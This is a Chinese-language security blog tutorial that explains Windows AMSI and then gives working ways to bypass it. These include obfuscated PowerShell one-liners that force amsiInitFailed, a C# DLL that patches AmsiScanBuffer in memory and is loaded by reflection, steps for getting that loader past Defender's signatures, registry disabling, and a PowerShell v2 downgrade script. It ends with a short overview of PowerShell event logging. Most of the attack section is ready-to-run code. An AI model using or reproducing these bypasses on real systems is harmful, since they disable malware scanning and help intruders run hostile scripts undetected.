AMSI 浅析及绕过

  • AMSI 浅析及绕过已关闭评论
  • 22 views
  • A+

0x00 前言

0x01 AMSI浅析

1、什么是AMSI

AMSI(Antimalware Scan Interface),即反恶意软件扫描接口,在windows 10和 windows server 2016上默认安装并启用。顾名思义,他的工作就是扫描、检测和阻止。windows 10和windows server2016中AMSI默认杀软就是Windows Defender。

2、AMSI是如何运作的?

服务和应用程序可以通过AMSI来与系统中已安装的反病毒软件进行通信,也就是Windows Defender,AMSI采用了hook方法进行检测,详细的工作原理如下:

  • 创建PowerShell进程时,AMSI.DLL将从磁盘加载到其内存地址空间。
  • 在AMSI.DLL中,有一个名为AmsiScanBuffer()的函数,是用来扫描脚本内容的函数。
  • 在PowerShell中执行命令时,任何内容都将首先发送到AmsiScanBuffer(),然后再执行。
  • 随后,AmsiScanBuffer()将Windows Defender检查,以确定是否创建了任何签名。
  • 如果该内容被认为是恶意的,它将被阻止运行。

在Windows 10上,实现AMSI的所有组件如下:

  • 用户帐户控制,或UAC(EXE、COM、MSI或ActiveX时的权限提升)
  • Powershell(脚本、交互式使用和动态代码执行)
  • Windows脚本主机(wscript.exe和cscript.exe)
  • JavaScript和VBScript
  • Office VBA宏

AMSI的整体架构如图所示:

wKg0C2DtgaSAU37WAACjNiRyrFw141.jpg

0x02 绕过AMSI检测

注:AMSI使用“基于字符串的”检测措施来确定PowerShell代码是否恶意。

1、绕过字符串检测

先查看一个示例:

wKg0C2DtgbOAY7CgAABqlDyHAZU198.png

如图,"amsiutils" 这个词被禁止了,AMSI认为这是一个恶意攻击。

那我们如何绕过字符串检测呢,最简单的一个方法就是使用**编码或者分割成块,然后拼接来绕过

下面列出三钟方法

(1)直接把单词分成两块或者多块然后进行拼接,达到绕过的效果,但在大多数情况下可能会失败

wKg0C2DtgcWAWqpUAABz1zTgY44907.png

(2)进行base64编码直接绕过AMSI,在某些情况下,base64一下直接绕过去了

wKg0C2DtgdCAU54BAAB5G05ME48944.png

(3)使用XOR来绕过AMSI,并在运行时将字符串解码回内存。这比上面的base64方法更有效

wKg0C2DtgdAVTDzAACJvjonCds805.png

当然还有其他编码方式可以自行尝试,上面这几种方法都是为了绕过"字符串检测",但是实际过程中,我们需要执行我们的脚本,也就脚本被AMSI阻止,我们通过一个实例来演示下绕过AMSI。

最早的绕过AMSI的方法是16年一个老外发布的,命令如下

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

我们把它放到powershell中运行,直接被AMSI阻止

wKg0C2DtgfqAHS5dAABLoMbxhk070.png

因此,我们尝试上面方法,分割重组来实现一个简单的AMSI 绕过

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

然后我们尝试单行执行此命令,我们可以看到前两行被AMSI阻止

wKg0C2DtghWASFnAAD7UEtVoMI278.png

所以,我们重新调整一下我们的代码,然后我们就绕过了AMSI,加载了我们的脚本

$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)


当然也可以使用base64编码,或者使用hex编码,效果都是一样的

base64编码

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

hex编码

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

wKg0C2DtglmAG7vQAAFUZJ3Y6Is893.png

2、通过Memory Patching绕过AMSI

这种方法并没有实际的绕过,而是禁用了AMSI,从powershell3.0开始,我们要完全绕过AMSI并执行任意powershell脚本的话,就需要完全禁用它

这是原作者的代码,把如下代码编译成C#的DLL,使用反射加载技术

```
using System;
using System.Runtime.InteropServices;

namespace Bypass
{
  public class AMSI
  {
      [DllImport("kernel32")]
      public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
      [DllImport("kernel32")]
      public static extern IntPtr LoadLibrary(string name);
      [DllImport("kernel32")]
      public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
      static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

public static int Disable()
      {
          IntPtr TargetDLL = LoadLibrary("amsi.dll");
          if (TargetDLL == IntPtr.Zero)
          {
              Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
              return 1;
          }

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
          if (AmsiScanBufferPtr == IntPtr.Zero)
          {
              Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
              return 1;
          }

UIntPtr dwSize = (UIntPtr)5;
          uint Zero = 0;
          if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
          {
              Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
              return 1;
          }

Byte[] Patch = { 0x31, 0xff, 0x90 };
          IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
          Marshal.Copy(Patch, 0, unmanagedPointer, 3);
          MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Console.WriteLine("AmsiScanBuffer patch has been applied.");
          return 0;
      }
  }
}
```

命名为"source.cs"

然后我们使用powershell来编译它,在同目录下打开powershell,运行以下命令编译

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwdSource.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"

编译后运行,直接被Defender给秒了(这里我把文件还原了一下,给大家看下效果图)

wKg0C2Dtgo2AJtAkAACsT4TtZA067.png

然后我们把dll文件进行base64编码**(Kali下,直接使用base64 -i 文件名,就可以得到base64编码),然后使用powershell进行武器化,反射加载,也是直接被秒

unction Bypass-AMSI
{
  if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
      [Reflection.Assembly]::Load([Convert]::FromBase64String("你的base64编码")) | Out-Null
      Write-Output "DLL has been reflected";
  }
  [Bypass.AMSI]::Disable()
}

如图,直接被秒

wKg0C2DtgqmAGJINAABYVNnLwEs010.png

通过上面的知识,我们知道AMSI是基于**字符串的检测,那我们就用工具去定位一下查杀点在哪。

工具地址:https://github.com/RythmStick/AMSITrigger

wKg0C2DtgsOAAXY8AACpoyOAm7E030.png

如上图所示,我们定位出查杀点是**"Bypass-AMSI、Bypass.AMSI、和一些base64中的一些字段"。下面,我们尝试对我们的脚本进行一个免杀处理,我们直接base64编码转换成byte数组

$string = ''
$a = [System.Convert]::FromBase64String('你的base64编码')
$a | foreach {$string = $string + $_.ToString()+','}
$string

wKg0C2DtgtuAdklhAAHDwodQ583.png

然后修改我们的源代码,加载数组

function Bypass-AMSI
{
  if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
      [Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null
      Write-Output "DLL has been reflected";
  }
  [Bypass.AMSI]::Disable();
}

然后我们再去检测一下,这次只剩下**"Bypass-AMSI、Bypass.AMSI"关键字

wKg0C2Dtgu6ASgSDAABV7GOJ8yE675.png

这里,如果我们直接修改这几个关键字会导致脚本运行直接报错,因为这个是运用的反射方法,不了解反射的小伙伴,去Google一下,这里我们直接修改前面的source.cs中的代码,只需要修改namespace、public class即可,如下图

wKg0C2Dtgw2Af7BlAACtimLBr3w027.png

然后编译成DLL,进行base64编码,然后转换byte数组,然后修改ps1脚本,修改完的如下:

wKg0C2DtgxAEXRWAABPQHldpk057.png

测试下效果,已经绕过AMSI

wKg0C2DtgyiAWtiQAAD1VFcx29k053.png

3、禁用AMSI

修改注册表,将HKCUSoftwareMicrosoftWindows ScriptSettingsAmsiEnable的值置为0

当然关闭Windows Defender 也可以使系统自带的AMSI检测无效化,这里注意当前**权限。

wKg0C2Dtg0eAIzluAAB9XnGpcfo814.png

然后直接执行命令和加载脚本都不会拦截

wKg0C2Dtg1SAFIZLAABwY5Notgc811.png

4、powershell版本降级绕过

powershell v2 版本不支持AMSI,我们可以将目标主机中的powershell降级至powershell v2版本。

代码如下:

if ($ShowOnly -eq $True)
{
      Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process."
}
else
{
      Write-Verbose "Checking if .Net version 2.0.50727 is installed."
      $versions = Get-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)p{L}'} | Select -ExpandProperty Version
if($versions -match "2.0.50727")
{
      Write-Verbose ".Net version 2.0.50727 found."
      Write-Output "Executing the bypass."
      powershell.exe -version 2
}
else
{
      Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2."
}
}

保存为 V2.ps1,运行即可绕过AMSI

wKg0C2Dtg26AMR07AACQ0Puyuvk526.png

5、一键Bypass AMSI

这里使用的是一个在线平台,平台可以直接生成powershell代码,这些代码可以直接破坏或者禁用当前进程的AMSI,每次生成的代码都是被混淆的,所以完全不担心会被检测到。

地址:https://amsi.fail/

效果如下图:

wKg0C2Dtg4KAV6TEAAEihlPgrUg996.png

6、其他一些方法

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

脚本地址:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

直接本地或者远程加载即可绕过AMSI

wKg0C2Dtg6KAOv4rAACzyTjrok616.png

Nishang也自带了bypassamsi的脚本,自行做免杀,避免上传被秒

地址:https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1

其他一些过时的方法,我就不加了

0x03 powershell日志浅析

上面咱们说完了怎么绕过AMSI,下面咱们来说下powershell日志。

默认情况下,这四种日志功能默认是不开启的,但是在实际渗透中,系统肯定是默认开启日志记录的

wKg0C2Dtg7uACEu2AACtwdNmN1A615.png

*关于日志的查看方法在**事件查看器中*,下面我们来分别看下这四种日志类型

*1、模块(module)日志*

事件ID:4103

路径:Microsoft > Windows > PowerShell/Operational

作用:可以为 powershell 模块启动日志记录

wKg0C2DthCWADqe6AACt326KNI736.png

使用Get-Module -ListAvailable可以获取可用的模块名

wKg0C2DthDOAbwY7AAIBhC2aJIc577.png

*2、管道执行(pipeline execute)日志*

事件ID:800

路径:事件管理器 > 应用程序和服务日志 > Windows PowerShell

作用:记录 powershell 管道执行过程的事件简介

wKg0C2DthECAauQ7AAEZBzpNfw542.png

*3、脚本块(script block)日志*

事件id:4104

路径:Microsoft > Windows > PowerShell/Operational

作用:powershell 讲记录命令、脚本块、函数和脚本的处理

wKg0C2DthE6AZrOQAADburWsVQ199.png

*4、脚本转换(transcripttion)日志*

可以将 powershell 命令的输入和输出捕获到文本中

wKg0C2DthFuAQWnLAAB72EqRbm4757.png

*四种日志记录内容的对比*

| 日志详情 | 模块日志 | 管道执行日志 | 脚本块日志 | 脚本转换日志 |
| --------------------- | -------------- | ------------------ | ------------------------ | ------------------ |
| 执行命令 | | | 有(包括脚本内容) | |
| 上下文信息 | | | | |
| 参数绑定详情 | | | | |
| 解码/解混淆代码 | | | | |
| 命令输出 | | | | |

*powershell 每个版本对日志功能的对比*

| 日志类型 | V2版本 | V3版本 | V4版本 | V5版本 |
| ------------------ | ------------ | ------------ | -------------------- | ------------------------------ |
| 模块日志 | | 支持 | 支持(V3增强) | 支持 |
| 管道执行日志 | 支持 | 支持 | 支持 | 支持 |
| 脚本块日志 | | | 支持 | 支持(自动记录恶意命令) |
| 脚本转换日志 | | | 支持 | 支持(V4增强) |

*不同操作系统默认的powershell版本*

| 操作系统 | 默认Powershell版本 | 可支持Powershell版本 |
| --------------------------------- | ------------------------ | -------------------------- |
| Windows Server 2008(SP2) | 2.0 | 3.0 |
| Windows Server 2008 R2(SP1) | 5.1 | 5.1 |
| Windows Server 2012 | 3.0 | 5.1 |
| Windows Server 2012(R2) | 4.0 | 5.1 |
| Windows 7(SP1) | 5.1 | 5.1 |
| Windows 8 | 3.0 | 5.1 |
| Windows 8.1 | 4.0 | 5.1 |
| Windows 10 | 5.0 | 5.1# |

相关推荐: CVE-2021-30465

声明 本文为译文,原文作者Etienne Champetier,原文来自http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ 前言 runc挂载地址可以通过Symlink-exchange进行交换,这导致了可…